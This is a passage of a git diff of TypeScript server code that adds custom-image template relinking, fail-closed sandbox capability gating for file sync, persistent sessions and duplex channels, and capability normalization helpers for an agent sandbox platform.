         const templateRow = await db.transaction(async (tx) => {
           const templateId = randomUUID();
@@ -851,12 +961,7 @@ export function environmentCustomImageService(
               createdByUserId: session.startedByUserId,
               createdByAgentId: session.startedByAgentId,
               capturedAt: now,
-              metadata: normalizeProviderMetadata({
-                ...(captured.metadata ?? {}),
-                ...(input.metadata ? { userMetadata: input.metadata } : {}),
-                ...persistedSetupMetadata(session.metadata),
-                [ENVIRONMENT_CUSTOM_IMAGE_RUNTIME_CONFIG_BINDING_METADATA_KEY]: runtimeConfigBinding,
-              }),
+              metadata: templateMetadata,
               createdAt: now,
               updatedAt: now,
             })
@@ -999,6 +1104,138 @@ export function environmentCustomImageService(
       };
     },
 
+    /**
+     * Re-stamps the active template's source fingerprint so a detached-but-valid
+     * template applies again, without a sandbox boot or a new provider snapshot.
+     * The server classifies the drift between the capture-time boot-relevant
+     * snapshot and the current config. A `boot_source_drift` or `unclassified`
+     * result needs the `confirmBootSourceDrift` flag; the client never
+     * classifies. The re-stamp UPDATE and the activity row run in one
+     * transaction. Zero updated rows abort with a conflict and write no activity
+     * row.
+     */
+    relinkActiveTemplate: async (input: {
+      environmentId: string;
+      confirmBootSourceDrift?: boolean;
+      actor: {
+        actorType: "agent" | "user" | "system" | "plugin";
+        actorId: string;
+        agentId?: string | null;
+        runId?: string | null;
+        agentApiKeyId?: string | null;
+      };
+      companyId: string;
+      now?: Date;
+    }): Promise<{
+      template: EnvironmentCustomImageTemplate;
+      classification: EnvironmentCustomImageRelinkClassification;
+    }> => {
+      const environment = await requireEnvironment(input.environmentId);
+      const parsed = parseEnvironmentDriverConfig(environment);
+      if (parsed.driver !== "sandbox") {
+        throw unprocessable("Environment customImage relink is only supported for sandbox environments.");
+      }
+      const activeRow = await resolveActiveTemplateRow(db, {
+        environmentId: input.environmentId,
+        provider: parsed.config.provider,
+      });
+      if (!activeRow) throw notFound("Active environment customImage template not found");
+      const active = environmentCustomImageTemplateFromRow(activeRow);
+
+      const secretRefExcludePaths = parsed.config.provider === "fake"
+        ? []
+        : [...await resolveSandboxProviderSecretRefPaths(db, parsed.config.provider)];
+      // Resolve the current provider contract so the classifier can reject a
+      // snapshot captured against a different binding or identity-path set. A
+      // driver that no longer resolves fails closed (null contract).
+      const resolvedDriver = await resolvePluginSandboxProviderDriverByKey({
+        db,
+        driverKey: active.provider,
+      });
+      const currentContract = resolvedDriver
+        ? {
+            binding: templateConfigBindingFromDriver({
+              templateRefKind: active.templateKind,
+              templateConfigBinding: resolvedDriver.driver.templateConfigBinding,
+            }),
+            templateIdentityPaths: resolvedDriver.driver.templateIdentityPaths ?? [],
+          }
+        : null;
+      // The persisted snapshot is server-internal; read it from the row, not the
+      // sanitized template response.
+      const drift = classifyEnvironmentCustomImageBootRelevantDrift({
+        bootRelevantConfig: readEnvironmentCustomImageBootRelevantConfig(activeRow.metadata),
+        currentConfig: parsed.config,
+        currentContract,
+      });
+
+      const confirmBootSourceDrift = input.confirmBootSourceDrift === true;
+      if (drift.classification !== "knob_only" && !confirmBootSourceDrift) {
+        throw conflict(
+          drift.classification === "boot_source_drift"
+            ? "The base image changed since this template was captured. Confirm the relink to keep the captured snapshot."
+            : "The server cannot verify the boot source for this template. Confirm the relink to keep the captured snapshot.",
+          {
+            classification: drift.classification,
+            driftedPaths: drift.driftedPaths,
+          },
+        );
+      }
+
+      const nextFingerprint = fingerprintEnvironmentSandboxProviderConfig(parsed.config, {
+        excludePaths: [
+          ...ENVIRONMENT_CUSTOM_IMAGE_CONFIG_FINGERPRINT_EXCLUDED_PATHS,
+          ...secretRefExcludePaths,
+        ],
+      });
+      const now = input.now ?? new Date();
+      // Activity details carry the sanitized classification and canonical path
+      // names only. They never carry a fingerprint or a config value.
+      const activityDetails = {
+        environmentId: input.environmentId,
+        templateId: active.id,
+        provider: active.provider,
+        classification: drift.classification,
+        driftedPaths: drift.driftedPaths.map((entry) => entry.path),
+        confirmBootSourceDrift,
+      };
+
+      const row = await db.transaction(async (tx) => {
+        const updated = await tx
+          .update(environmentCustomImageTemplates)
+          .set({ sourceEnvironmentConfigFingerprint: nextFingerprint, updatedAt: now })
+          .where(and(
+            eq(environmentCustomImageTemplates.id, active.id),
+            eq(environmentCustomImageTemplates.status, "active"),
+            eq(environmentCustomImageTemplates.environmentId, input.environmentId),
+            eq(environmentCustomImageTemplates.provider, active.provider),
+          ))
+          .returning()
+          .then((rows) => rows[0] ?? null);
+        if (!updated) {
+          throw conflict("Active environment customImage template changed before relink; retry.");
+        }
+        await logActivity(tx as unknown as Db, {
+          companyId: input.companyId,
+          actorType: input.actor.actorType,
+          actorId: input.actor.actorId,
+          agentId: input.actor.agentId ?? null,
+          runId: input.actor.runId ?? null,
+          agentApiKeyId: input.actor.agentApiKeyId ?? null,
+          action: "environment.custom_image_template.relinked",
+          entityType: "environment",
+          entityId: input.environmentId,
+          details: activityDetails,
+        });
+        return updated;
+      });
+
+      return {
+        template: environmentCustomImageTemplateFromRow(row),
+        classification: drift.classification,
+      };
+    },
+
     rollbackTemplate: async (input: {
       environmentId: string;
       now?: Date;
diff --git a/server/src/services/environment-execution-target.ts b/server/src/services/environment-execution-target.ts
index 0cfb88806d6..fccf326a4c0 100644
--- a/server/src/services/environment-execution-target.ts
+++ b/server/src/services/environment-execution-target.ts
@@ -243,12 +243,61 @@ export async function resolveEnvironmentExecutionTarget(input: {
     // a recording tracer.
     const tracer = input.tracer ?? getStartupTracer();
 
+    // Resolve the read-only effective capability snapshot for this lease. The
+    // runtime resolves it as the provider declaration ∩ the verified worker
+    // methods ∩ narrowing. Freeze it so a consumer reads it but never changes
+    // it. Track a resolution error apart from a genuinely absent snapshot: a
+    // rejected resolution must not read as an open grant.
+    let effectiveCapabilities: Awaited<
+      ReturnType<NonNullable<EnvironmentRuntimeService["effectiveSandboxCapabilities"]>>
+    > | null = null;
+    let capabilityResolutionFailed = false;
+    if (input.environmentRuntime?.effectiveSandboxCapabilities && input.lease) {
+      try {
+        effectiveCapabilities = await input.environmentRuntime.effectiveSandboxCapabilities({
+          environment: input.environment as Environment,
+          lease: input.lease,
+        });
+      } catch {
+        // The runtime could not resolve the snapshot. Fail closed for the
+        // persistent-session gates below; never grant persistent-session
+        // behavior from an unknown capability set.
+        capabilityResolutionFailed = true;
+        effectiveCapabilities = null;
+      }
+    }
+
+    // Gate the sync, session, and execution decisions below on the effective
+    // snapshot. A genuinely absent snapshot (no runtime, no lease) keeps the
+    // prior behavior, so it never removes a working path. A present snapshot
+    // can only remove a capability, never add one back.
+    //
+    // Native file sync needs BOTH sync verbs: the runner exposes syncIn and
+    // syncOut both-or-neither, so a consumer either uses the native path for
+    // both directions or keeps the base64 fallback for both. When the snapshot
+    // removes either verb, keep the byte-identical base64 fallback. When the
+    // resolution failed, fail closed and keep the base64 fallback too: an
+    // unverified provider never gets the native sync path. This preserves the
+    // existing reusable-lease sync enforcement unchanged.
+    const nativeSyncAllowed =
+      !capabilityResolutionFailed &&
+      (!effectiveCapabilities ||
+        (effectiveCapabilities.nativeSyncIn && effectiveCapabilities.nativeSyncOut));
+    // A command that opts onto the persistent session needs the provider to keep
+    // persistent process sessions. When the snapshot removes that capability,
+    // never force the session; the command runs one-shot instead. When the
+    // resolution failed, fail closed and never force the session.
+    const persistentSessionsAllowed =
+      !capabilityResolutionFailed &&
+      (!effectiveCapabilities || effectiveCapabilities.persistentProcessSessions);
+
     return {
       kind: "remote",
       transport: "sandbox",
       providerKey: parsed.config.provider,
       shellCommand,
       remoteCwd,
+      ...(effectiveCapabilities ? { effectiveCapabilities: Object.freeze({ ...effectiveCapabilities }) } : {}),
       environmentId: input.environment.id ?? null,
       leaseId: input.leaseId ?? null,
       timeoutMs,
@@ -256,10 +305,11 @@ export async function resolveEnvironmentExecutionTarget(input: {
       // output reaches the UI mid-run; `streamRunLogs: false` is an explicit
       // opt-out back to batch-at-end delivery.
       streamRunLogs: parsed.config.streamRunLogs !== false,
-      // Interactive ACP output streaming through the persistent session log
-      // stream. Default OFF: the process session bridge keeps the output-file
-      // poll unless an operator opts a sandbox environment in.
-      streamAgentSessionOutput: parsed.config.streamAgentSessionOutput === true,
+      // Interactive ACP output streaming is decided downstream from the effective
+      // capability snapshot alone: the process session bridge streams only when
+      // the provider keeps persistent process sessions and runs independent
+      // control commands. The snapshot is absent when resolution failed, so the
+      // bridge fails closed to the output-file poll.
       runner: input.environmentRuntime && input.lease
         ? {
             // Provider-backed sandbox RPCs do not surface bounded mid-stream
@@ -267,6 +317,12 @@ export async function resolveEnvironmentExecutionTarget(input: {
             // here. The client falls back to the chunked upload path when this is
             // false.
             supportsSingleStreamStdinProgress: false,
+            // Carry the verified concurrent-sync opt-in to the sync client. The
+            // client copies it onto the native path and ignores it on the base64
+            // fallback, which always permits concurrency. A null snapshot or a
+            // provider that never opted in keeps it false, so an unverified
+            // provider never permits concurrent sync operations.
+            allowConcurrentSyncOperations: effectiveCapabilities?.concurrentSyncOperations === true,
             execute: async (commandInput) => {
               // Record true start and stop timestamps around the provider await,
               // so the exec span and the result carry a real wall time.
@@ -328,7 +384,10 @@ export async function resolveEnvironmentExecutionTarget(input: {
                     // The ACP process session bridge sets `useSession` so its
                     // long-lived agent command opens the persistent session and
                     // streams output, even though it runs with no active step.
-                    forceSession: commandInput.useSession,
+                    // The effective snapshot gates it: a provider that cannot
+                    // keep persistent process sessions never forces the session,
+                    // so the command runs one-shot instead.
+                    forceSession: persistentSessionsAllowed ? commandInput.useSession : false,
                     // The bridge control-plane execs set `bypassSession` so they
                     // run one-shot and never queue behind the long-lived agent
                     // command on the persistent session. An explicit bypass wins
@@ -423,9 +482,11 @@ export async function resolveEnvironmentExecutionTarget(input: {
               }
             },
             // Expose the native file-sync capability only when the provider's
-            // worker advertises BOTH sync verbs; otherwise leave syncIn/syncOut
-            // undefined so the orchestrator keeps the byte-identical base64 path.
-            ...(input.environmentRuntime.supportsSync({
+            // worker advertises BOTH sync verbs AND the effective snapshot still
+            // grants native sync; otherwise leave syncIn/syncOut undefined so
+            // the orchestrator keeps the byte-identical base64 path.
+            ...(nativeSyncAllowed &&
+            input.environmentRuntime.supportsSync({
               environment: input.environment as Environment,
               lease: input.lease,
             })
@@ -444,6 +505,21 @@ export async function resolveEnvironmentExecutionTarget(input: {
                     }),
                 }
               : {}),
+            // Expose the duplex channel only when the effective snapshot grants
+            // the opt-in `duplexCommandStream` capability. A null snapshot
+            // (resolution failed or the snapshot is not resolvable) leaves the
+            // member undefined, so the caller keeps the file bridge. This mirrors
+            // the syncIn/syncOut gate above and fails closed.
+            ...(effectiveCapabilities?.duplexCommandStream
+              ? {
+                  openDuplexChannel: (channelInput) =>
+                    input.environmentRuntime!.openDuplexChannel({
+                      environment: input.environment as Environment,
+                      lease: input.lease!,
+                      command: channelInput.command,
+                    }),
+                }
+              : {}),
           }
         : undefined,
     };
diff --git a/server/src/services/environment-run-orchestrator.ts b/server/src/services/environment-run-orchestrator.ts
index 8d60e77d8e6..c907d4c177e 100644
--- a/server/src/services/environment-run-orchestrator.ts
+++ b/server/src/services/environment-run-orchestrator.ts
@@ -45,6 +45,7 @@ import {
 import { buildWorkspaceRealizationRequest } from "./workspace-realization.js";
 import { executionWorkspaceService } from "./execution-workspaces.js";
 import { logActivity } from "./activity-log.js";
+import { logger } from "../middleware/logger.js";
 import { parseObject } from "../adapters/utils.js";
 import type { RealizedExecutionWorkspace } from "./workspace-runtime.js";
 import type { PluginWorkerManager } from "./plugin-worker-manager.js";
@@ -420,7 +421,29 @@ export function environmentRunOrchestrator(
       (typeof lease.metadata?.remoteCwd === "string" && lease.metadata.remoteCwd.trim().length > 0
         ? lease.metadata.remoteCwd.trim()
         : executionWorkspace.cwd);
-    if (provisionCommand && environment.driver !== "local") {
+    // The host `provisionCommand` runs on the host worktree during the
+    // `workspace_provision` step, before the run reaches the environment.
+    // A `sandbox`-driver environment does not receive the repo tree here. The
+    // sandbox driver `realizeWorkspace` step only creates the remote folder.
+    // The adapter uploads the provisioned tree later, in its `stage.sync` step.
+    // So the host command must not run inside the still-empty sandbox; it fails
+    // there (exit 127). Skip the step for `sandbox`, and keep the existing skip
+    // for `local`. Keep the step for `ssh`, which runs the command on the
+    // remote host that shares the workspace path.
+    const driverSkipsHostProvision =
+      environment.driver === "local" || environment.driver === "sandbox";
+    if (provisionCommand && environment.driver === "sandbox") {
+      logger.info(
+        {
+          environmentId: environment.id,
+          driver: environment.driver,
+          issueId,
+          heartbeatRunId,
+        },
+        "Skip host provisionCommand for sandbox-driver environment; the adapter stage.sync step delivers the provisioned tree",
+      );
+    }
+    if (provisionCommand && !driverSkipsHostProvision) {
       try {
         const provisionResult = await environmentRuntime.execute({
           environment,
@@ -561,7 +584,11 @@ export function environmentRunOrchestrator(
 
     let releasedLeases: EnvironmentRuntimeLeaseRecord[];
     try {
-      releasedLeases = await environmentRuntime.releaseRunLeases(input.heartbeatRunId, status);
+      releasedLeases = await environmentRuntime.releaseRunLeases(
+        input.heartbeatRunId,
+        status,
+        (leaseId, error) => result.errors.push({ leaseId, error }),
+      );
     } catch (err) {
       result.errors.push({ leaseId: "*", error: err });
       return result;
diff --git a/server/src/services/environment-runtime.ts b/server/src/services/environment-runtime.ts
index 7bcd679739b..6cf5cf33f21 100644
--- a/server/src/services/environment-runtime.ts
+++ b/server/src/services/environment-runtime.ts
@@ -7,10 +7,17 @@ import type {
   EnvironmentLease,
   EnvironmentLeaseStatus,
   ExecutionWorkspace,
+  InstanceExperimentalSettings,
   IssueExecutionWorkspaceSettings,
   PluginEnvironmentConfig,
   SandboxEnvironmentConfig,
+  SandboxProviderCapabilities,
 } from "@paperclipai/shared";
+import { resolveDeclaredSandboxCapabilities } from "@paperclipai/shared";
+import type { EffectiveSandboxCapabilities } from "@paperclipai/adapter-utils/execution-target";
+import type {
+  CommandManagedDuplexChannel,
+} from "@paperclipai/adapter-utils/command-managed-runtime";
 import type {
   PluginEnvironmentAcquireLeaseParams,
   PluginEnvironmentExecuteResult,
@@ -26,10 +33,12 @@ import {
   type StartupSpanContext,
 } from "@paperclipai/adapter-utils/acpx-engine/startup-timing";
 import { environmentService } from "./environments.js";
+import { instanceSettingsService } from "./instance-settings.js";
 import {
   collectEnvironmentSecretRefs,
   parseEnvironmentDriverConfig,
   resolveEnvironmentDriverConfigForRuntime,
+  resolveSandboxCleanupConfigSecrets,
   stripSandboxProviderEnvelope,
 } from "./environment-config.js";
 import {
@@ -48,17 +57,262 @@ import {
   sandboxConfigFromLeaseMetadataLoose,
 } from "./sandbox-provider-runtime.js";
 import { pluginRegistryService } from "./plugin-registry.js";
-import type { ExecuteLogSink, PluginWorkerManager } from "./plugin-worker-manager.js";
+import type {
+  ExecuteLogSink,
+  PluginWorkerManager,
+  DuplexChannelHostSession,
+  DuplexChannelOpenInput as WorkerManagerDuplexChannelOpenInput,
+} from "./plugin-worker-manager.js";
 import {
+  REUSABLE_LEASE_WORKER_METHODS,
   destroyPluginEnvironmentLease,
   executePluginEnvironmentCommand,
   realizePluginEnvironmentWorkspace,
   resolvePluginSandboxProviderDriverByKey,
+  resolvePluginSandboxProviderDriverById,
   resolvePluginExecuteRpcTimeoutMs,
   resumePluginEnvironmentLease,
 } from "./plugin-environment-driver.js";
 import { collectSecretRefPaths } from "./json-schema-secret-refs.js";
 import { buildWorkspaceRealizationRecordFromDriverInput } from "./workspace-realization.js";
+import {
+  createSandboxOrphanCleanupSpool,
+  type DeferredOrphanCleanupRecord,
+  type SandboxOrphanCleanupSpool,
+} from "./sandbox-orphan-cleanup-spool.js";
+import { logger } from "../middleware/logger.js";
+
+// The constant error kind for the durable orphan-cleanup-write-failed log. The
+// log never reads the caught exception, because the exception can carry a
+// credential in its name, code, message, cause, or stack. So the log records
+// this constant and the plain provider identifiers only.
+const SANDBOX_ORPHAN_CLEANUP_WRITE_ERROR_KIND = "sandbox_orphan_cleanup_write_failed";
+
+// The fixed non-secret refusal a duplex channel open returns when the lease does
+// not grant the opt-in `duplexCommandStream` capability. The service resolves the
+// exact lease capability snapshot and throws this before it reaches any driver.
+const DUPLEX_CHANNEL_CAPABILITY_DENIED =
+  "Sandbox lease does not grant the duplex command stream capability.";
+
+// ---------------------------------------------------------------------------
+// Sandbox capability contract — one normalizer for both branches
+// ---------------------------------------------------------------------------
+
+export const SANDBOX_CAPABILITY_KEYS = [
+  "reusableLeases",
+  "nativeSyncIn",
+  "nativeSyncOut",
+  "persistentProcessSessions",
+  "independentControlCommands",
+  "incrementalSessionOutput",
+  "concurrentSyncOperations",
+  "duplexCommandStream",
+] as const;
+
+export type SandboxCapabilityKey = (typeof SANDBOX_CAPABILITY_KEYS)[number];
+
+/**
+ * Opt-in capability keys. Most capabilities are a worker property: an absent
+ * declaration defers to the verified baseline and allows the capability. An
+ * opt-in capability is a behavioral guarantee that only some providers make, so
+ * an absent declaration denies it. A generic one-shot provider must not get an
+ * opt-in capability just because its worker verifies a shared verb such as
+ * `environmentExecute`. Only a provider that declares the key `true` (and still
+ * verifies the prerequisites and passes narrowing) gets the capability.
+ */
+const SANDBOX_CAPABILITY_OPT_IN_KEYS: ReadonlySet<SandboxCapabilityKey> = new Set([
+  "incrementalSessionOutput",
+  "concurrentSyncOperations",
+  "duplexCommandStream",
+]);
+
+/**
+ * Verified prerequisite mapping: the worker methods each capability requires.
+ *
+ * Each capability maps to a list of requirement groups. A group holds one or
+ * more verbs; the group is met when the runtime verified AT LEAST ONE verb in
+ * it. A capability verifies only when EVERY group is met.
+ *
+ * The verbs are the worker method names from the worker discovery list (the
+ * plugin worker reports them from `handleInitialize`). A built-in provider maps
+ * its own methods to the same verb names through
+ * {@link builtinSandboxProviderVerifiedMethods}, so both branches share this
+ * mapping and the one normalizer below.
+ *
+ * The mapping was audited against the worker discovery list and the runtime
+ * execution guards:
+ * - `nativeSyncIn`/`nativeSyncOut` require the matching sync verb; the native
+ *   sync guard checks both verbs before it routes a lease to the native hook.
+ * - `reusableLeases` requires `environmentResumeLease` (reattach),
+ *   `environmentReleaseLease` (end-of-run release), and `environmentDestroyLease`
+ *   (stale-lease teardown). All three run on the reuse path: the runtime resumes
+ *   or releases the lease, and it destroys the stale lease when a resume fails
+ *   before it acquires a fresh lease.
+ * - `persistentProcessSessions` and `independentControlCommands` require
+ *   `environmentExecute`; both run commands through it.
+ * - `incrementalSessionOutput` requires `environmentExecute` too, because the
+ *   provider tails the session log through it. The verified verb is necessary
+ *   but not sufficient: this key is opt-in, so the declaration is the real gate
+ *   (see {@link SANDBOX_CAPABILITY_OPT_IN_KEYS}).
+ * - `concurrentSyncOperations` requires BOTH sync verbs, because parallel
+ *   bidirectional transfer runs an inbound and an outbound transfer at the same
+ *   time. The two verbs are separate required groups, so a provider that
+ *   verifies only one direction cannot get the capability. The verbs are
+ *   necessary but not sufficient: this key is opt-in, so the declaration is the
+ *   real gate (see {@link SANDBOX_CAPABILITY_OPT_IN_KEYS}).
+ * - `duplexCommandStream` requires `duplexChannelOpen`, the worker verb that
+ *   opens the persistent duplex channel. The verified verb is necessary but not
+ *   sufficient: this key is opt-in, so the declaration is the real gate. A
+ *   provider that does not implement the duplex open verb resolves `false` and
+ *   keeps the file bridge.
+ */
+const SANDBOX_CAPABILITY_PREREQUISITE_METHODS: Record<SandboxCapabilityKey, readonly (readonly string[])[]> = {
+  // Reusable leases require ALL reuse verbs. Each verb is its own required
+  // group, so every one must be verified. The list function that publishes
+  // provider-level reusable support checks the same verbs; both read from
+  // `REUSABLE_LEASE_WORKER_METHODS`, so the runtime guard and the published
+  // value cannot drift.
+  reusableLeases: REUSABLE_LEASE_WORKER_METHODS.map((method) => [method]),
+  nativeSyncIn: [["environmentSyncIn"]],
+  nativeSyncOut: [["environmentSyncOut"]],
+  persistentProcessSessions: [["environmentExecute"]],
+  independentControlCommands: [["environmentExecute"]],
+  incrementalSessionOutput: [["environmentExecute"]],
+  concurrentSyncOperations: [["environmentSyncIn"], ["environmentSyncOut"]],
+  duplexCommandStream: [["duplexChannelOpen"]],
+};
+
+function capabilityIsVerified(
+  key: SandboxCapabilityKey,
+  verifiedMethods: ReadonlySet<string>,
+): boolean {
+  return SANDBOX_CAPABILITY_PREREQUISITE_METHODS[key].every((group) =>
+    group.some((verb) => verifiedMethods.has(verb)),
+  );
+}
+
+/**
+ * Map a built-in sandbox provider's own methods to the worker verb names the
+ * prerequisite mapping uses, so the built-in branch and the plug-in branch feed
+ * the SAME normalizer. A built-in provider has no native sync hooks, so it never
+ * verifies a sync verb. It verifies `environmentExecute` when it implements
+ * `execute`, and the reuse verbs only when it declares `supportsReusableLeases`.
+ * A built-in reusable provider destroys its own leases in-process, so it
+ * verifies `environmentDestroyLease` with the two reuse verbs.
+ */
+export function builtinSandboxProviderVerifiedMethods(
+  provider: { supportsReusableLeases?: boolean; execute?: unknown } | null | undefined,
+): string[] {
+  if (!provider) return [];
+  const methods: string[] = [];
+  if (typeof provider.execute === "function") {
+    methods.push("environmentExecute");
+  }
+  if (provider.supportsReusableLeases === true) {
+    methods.push(
+      "environmentResumeLease",
+      "environmentReleaseLease",
+      "environmentDestroyLease",
+    );
+  }
+  return methods;
+}
+
+/**
+ * The one normalizer for the sandbox capability contract. It resolves the
+ * effective capability as verified ∩ declared ∩ narrowing.
+ *
+ * - `verifiedMethods` is the runtime's verified worker verb list (the plug-in
+ *   worker's `supportedMethods`, or a built-in provider mapped through
+ *   {@link builtinSandboxProviderVerifiedMethods}). A missing or empty list
+ *   verifies nothing, so every capability resolves `false` (fail closed).
+ * - `declared` is the provider's declaration. An absent flag defers to the
+ *   verified discovery baseline; it never grants a capability. A present flag
+ *   can only remove a verified capability, never add one.
+ * - `narrowing` is the per-target restriction from the config or lease. An
+ *   absent key applies no restriction; a `false` value removes the capability.
+ *
+ * A declaration never grants a capability the runtime did not verify, so a
+ * declared capability whose worker lacks a prerequisite verb resolves `false`.
+ */
+export function resolveEffectiveSandboxCapabilities(input: {
+  verifiedMethods?: readonly string[] | null;
+  declared?: Partial<SandboxProviderCapabilities> | null;
+  narrowing?: Partial<Record<SandboxCapabilityKey, boolean>> | null;
+}): EffectiveSandboxCapabilities {
+  const verifiedMethods = new Set(input.verifiedMethods ?? []);
+  const declared = input.declared ?? {};
+  const narrowing = input.narrowing ?? {};
+
+  const resolve = (key: SandboxCapabilityKey): boolean => {
+    const verified = capabilityIsVerified(key, verifiedMethods);
+    // An absent declaration defers to the verified baseline for a worker-property
+    // capability (true = no extra restriction), but denies an opt-in capability
+    // (false). A present declaration can only narrow.
+    const declaredDefault = SANDBOX_CAPABILITY_OPT_IN_KEYS.has(key) ? false : true;
+    const declaredAllows = declared[key] ?? declaredDefault;
+    // An absent narrowing applies no restriction.
+    const narrowingAllows = narrowing[key] ?? true;
+    return verified && declaredAllows && narrowingAllows;
+  };
+
+  return {
+    reusableLeases: resolve("reusableLeases"),
+    nativeSyncIn: resolve("nativeSyncIn"),
+    nativeSyncOut: resolve("nativeSyncOut"),
+    persistentProcessSessions: resolve("persistentProcessSessions"),
+    independentControlCommands: resolve("independentControlCommands"),
+    incrementalSessionOutput: resolve("incrementalSessionOutput"),
+    concurrentSyncOperations: resolve("concurrentSyncOperations"),
+    duplexCommandStream: resolve("duplexCommandStream"),
+  };
+}
+
+/**
+ * Build the per-target narrowing for a sandbox lease. Narrowing removes a
+ * capability that the provider verified and declared but that this specific
+ * lease or config cannot use. Each source is grounded in existing runtime
+ * behavior:
+ * - `reusableLeases` follows this lease's resolved policy (an ephemeral lease
+ *   never reuses).
+ * - a Kubernetes Job lease disables native sync (mirrors the native sync guard,
+ *   which falls back for a `job` backend or a `nativeFileSyncUnsupported` lease).
+ * - `configResolutionFailed` marks that the runtime could not resolve the
+ *   provider config. A provider whose config cannot be resolved is untrusted, so
+ *   the runtime fails closed and narrows `persistentProcessSessions`,
+ *   `incrementalSessionOutput`, and `duplexCommandStream` to false. An empty
+ *   config alone does not fail closed; only a resolution error does.
+ */
+export function buildSandboxCapabilityNarrowing(input: {
+  leasePolicy?: EnvironmentLease["leasePolicy"] | null;
+  leaseMetadata?: Record<string, unknown> | null;
+  configResolutionFailed?: boolean;
+}): Partial<Record<SandboxCapabilityKey, boolean>> {
+  const narrowing: Partial<Record<SandboxCapabilityKey, boolean>> = {};
+  const metadata = input.leaseMetadata ?? {};
+
+  narrowing.reusableLeases = input.leasePolicy === "reuse_by_environment";
+
+  if (metadata.backend === "job" || metadata.nativeFileSyncUnsupported === true) {
+    narrowing.nativeSyncIn = false;
+    narrowing.nativeSyncOut = false;
+  }
+
+  if (input.configResolutionFailed === true) {
+    // The runtime could not resolve the provider config, so it fails closed and
+    // denies persistent process sessions, incremental session output, and the
+    // duplex command stream. The session-output streaming gate reads
+    // `incrementalSessionOutput`, so it must narrow with the persistent-session
+    // gate to keep the fail-closed behavior. The duplex command stream opens a
+    // host-owned bidirectional channel, so an untrusted provider must not keep
+    // it either.
+    narrowing.persistentProcessSessions = false;
+    narrowing.incrementalSessionOutput = false;
+    narrowing.duplexCommandStream = false;
+  }
+
+  return narrowing;
+}
 
 export function buildEnvironmentLeaseContext(input: {
   persistedExecutionWorkspace: Pick<ExecutionWorkspace, "id" | "mode"> | null;
@@ -69,6 +323,29 @@ export function buildEnvironmentLeaseContext(input: {
   };
 }
 
+/**
+ * The per-run duplex bridge input. The host resolves it for each new run before
+ * it selects the sandbox callback bridge transport. When `enableDuplexBridge` is
+ * false the host keeps the file bridge with no manifest change and no redeploy.
+ * The transport selection reads this input in a later phase; this phase only
+ * delivers the setting and the per-run read.
+ */
+export interface ResolvedSandboxDuplexBridgeInput {
+  /** True only when the instance opts in to the sandbox duplex command stream. */
+  enableDuplexBridge: boolean;
+}
+
+/**
+ * Map the experimental instance setting `enableSandboxDuplexBridge` into the
+ * per-run duplex bridge input. The setting is the kill switch. It defaults off,
+ * so an absent or false setting keeps the file bridge.
+ */
+export function resolveSandboxDuplexBridgeInput(
+  experimental: Pick<InstanceExperimentalSettings, "enableSandboxDuplexBridge">,
+): ResolvedSandboxDuplexBridgeInput {
+  return { enableDuplexBridge: experimental.enableSandboxDuplexBridge === true };
+}
+
 function stripSecretRefValuesFromPluginLeaseMetadata(input: {
   metadata: Record<string, unknown> | null | undefined;
   schema: Record<string, unknown> | null | undefined;
@@ -145,6 +422,26 @@ export interface EnvironmentDriverAcquireInput {
    * of the base image, matching what real agent runs do.
    */
   applyCustomImageTemplate?: boolean;
+  /**
+   * The latest time the acquired lease may stay active. A caller with an
+   * independent deadline (for example the setup-token login session) sets it,
+   * so the driver bounds the persisted lease expiry to this time. The driver
+   * records the earlier of this time and the provider expiry. Null or undefined
+   * keeps the provider expiry only, so all other callers keep the current
+   * behavior.
+   */
+  requestedExpiresAt?: Date | null;
+  /**
+   * Re-check the environment company binding inside the lease insert
+   * transaction. The login acquire paths set this so a managed reconciliation
+   * that binds the sandbox to another company between the route guard and this
+   * acquire cannot let the login run in a foreign-company sandbox. The lease
+   * insert then rejects a foreign-company environment with the 403
+   * `environment_company_mismatch` and holds no lease. An unbound
+   * (instance-global) environment stays open. Other callers keep the current
+   * behavior.
+   */
+  assertCompanyBinding?: boolean;
 }
 
 export interface EnvironmentDriverReleaseInput {
@@ -225,6 +522,15 @@ export interface EnvironmentDriverSyncInput extends EnvironmentDriverLeaseInput
   operations: PluginSyncOperation[];
 }
 
+export interface EnvironmentDriverOpenDuplexChannelInput extends EnvironmentDriverLeaseInput {
+  /**
+   * The command argument vector the sandbox runs as the duplex channel child
+   * process. Element 0 is the program. The worker runs the vector with no
+   * shell, so a shell metacharacter in an element cannot inject a command.
+   */
+  command: readonly string[];
+}
+
 export interface EnvironmentRuntimeDriver {
   readonly driver: string;
   acquireRunLease(input: EnvironmentDriverAcquireInput): Promise<EnvironmentLease>;
@@ -241,8 +547,89 @@ export interface EnvironmentRuntimeDriver {
    */
   syncIn?(input: EnvironmentDriverSyncInput): Promise<PluginEnvironmentSyncResult>;
   syncOut?(input: EnvironmentDriverSyncInput): Promise<PluginEnvironmentSyncResult>;
+  /**
+   * Optional persistent duplex channel. Present only for a plugin-backed sandbox
+   * driver whose lease grants the `duplexCommandStream` capability. The driver
+   * opens the host-owned duplex route on the plugin worker and adapts it to the
+   * cross-layer {@link CommandManagedDuplexChannel}. Other drivers omit it.
+   */
+  openDuplexChannel?(
+    input: EnvironmentDriverOpenDuplexChannelInput,
+  ): Promise<CommandManagedDuplexChannel>;
   /** True when the lease's plugin worker advertises both sync verbs. */
   supportsSync?(input: EnvironmentDriverLeaseInput): boolean;
+  /**
+   * Resolve the read-only effective sandbox capability snapshot for a lease.
+   * Only the sandbox driver implements it; other drivers omit it.
+   */
+  effectiveSandboxCapabilities?(input: EnvironmentDriverLeaseInput): Promise<EffectiveSandboxCapabilities>;
+  /**
+   * Retry the provider teardown for an orphan sandbox that an earlier acquire
+   * provisioned but could not tear down. The pending-cleanup lease row carries
+   * the provider, the provider lease id, and the immutable config metadata, so
+   * the retry resolves the teardown from the row alone. It never reads the
+   * current environment provider, so a provider change or an environment delete
+   * cannot strand the teardown. `environment` is null when a delete already
+   * removed the environment row. The method throws when the teardown fails, so
+   * the cleanup sweep keeps the row for a later retry.
+   */
+  retryPendingSandboxTeardown?(input: { environment: Environment | null; lease: EnvironmentLease }): Promise<void>;
+  /**
+   * Report whether the provider worker can run an orphan teardown now. A plugin
+   * sandbox provider worker can be briefly down during its own restart window.
+   * A teardown in that window throws, and the cleanup sweep would count that
+   * throw against the finite retry cap. So the sweep probes this method before
+   * it claims a retry attempt, and skips the lease when the worker is not ready.
+   * A later sweep retries after the worker recovers. The method reports `true`
+   * for every persistent condition (a built-in provider, a missing plugin, or an
+   * absent worker manager), so the teardown still runs, throws, and counts
